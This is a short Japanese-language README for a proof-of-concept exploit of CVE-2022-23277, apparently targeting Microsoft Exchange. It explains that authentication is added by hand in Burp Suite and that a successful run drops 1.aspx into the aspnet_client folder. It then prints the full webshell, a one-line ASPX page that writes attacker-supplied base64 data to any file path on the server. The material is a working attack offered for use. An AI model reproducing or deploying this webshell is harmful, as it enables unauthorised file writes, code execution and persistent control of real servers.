
CVE-2022-23277 POC: aspnet_client に webshell を書き込む
認証部分はburpsuiteで手動追加する必要があり、利用成功後はaspnet_clientに1.aspxが書き込まれます。
webshell:
<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>
利用の詳細は私たちの記事を参照してください。
